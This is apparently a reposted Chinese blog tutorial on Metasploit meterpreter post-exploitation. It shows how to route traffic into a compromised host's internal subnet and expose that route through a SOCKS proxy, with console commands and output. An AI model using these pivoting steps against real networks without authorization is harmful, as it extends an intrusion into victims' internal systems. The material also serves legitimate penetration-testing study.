meterpreter后渗透 之 开启受控机pivot代理

pivot是meterpreter最常用的一种代理,可以轻松把你的机器代理到受害者内网环境,下面介绍下pivot的搭建和使用方法

使用方法:

route add   目标i或ip段     Netmask   要使用代理的会话ID

通过实例来说明:

在metasploit添加一个路由表,目的是访问172.16.100.0/24这个网段,将通过meterpreter的会话 1 来访问:

msf6 exploit(multi/handler) > route add 172.16.100.0 255.255.255.0 1
[*] Route added
 
msf6 exploit(multi/handler) > route print

IPv4 Active Routing Table
=========================

   Subnet             Netmask            Gateway
   ------             -------            -------
   172.16.100.0       255.255.255.0      Session 1

[*] There are currently no IPv6 routes defined.

到这里pivot已经配置好了,你在msf里对 172.16.100.0/24 进行扫描(db_nmap)或者访问(psexe 模块,ssh模块等)将通过代理session 1这个会话来访问。

如果想通过其他应用程序来使用这个代理怎么办呢,这时候可以借助 metasploit socks_proxy提供一个监听隧道供其他应用程序访问:

首先使用 socks_proxy并且配置,监听端口:

msf6 auxiliary(scanner/ssh/ssh_login) > use auxiliary/server/socks_proxy 
msf6 auxiliary(server/socks_proxy) > show options 

Module options (auxiliary/server/socks_proxy):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD                   no        Proxy password for SOCKS5 listener
   SRVHOST   0.0.0.0          yes       The address to listen on
   SRVPORT   1080             yes       The port to listen on
   USERNAME                   no        Proxy username for SOCKS5 listener
   VERSION   5                yes       The SOCKS version to use (Accepted: 4a, 5)


Auxiliary action:

   Name   Description
   ----   -----------
   Proxy  Run a SOCKS proxy server


msf6 auxiliary(server/socks_proxy) > set srvport 1011
srvport => 1011
msf6 auxiliary(server/socks_proxy) > run
[*] Auxiliary module running as background job 1.
msf6 auxiliary(server/socks_proxy) > 
[*] Starting the SOCKS proxy server
原文地址:https://www.cnblogs.com/yyxianren/p/14658753.html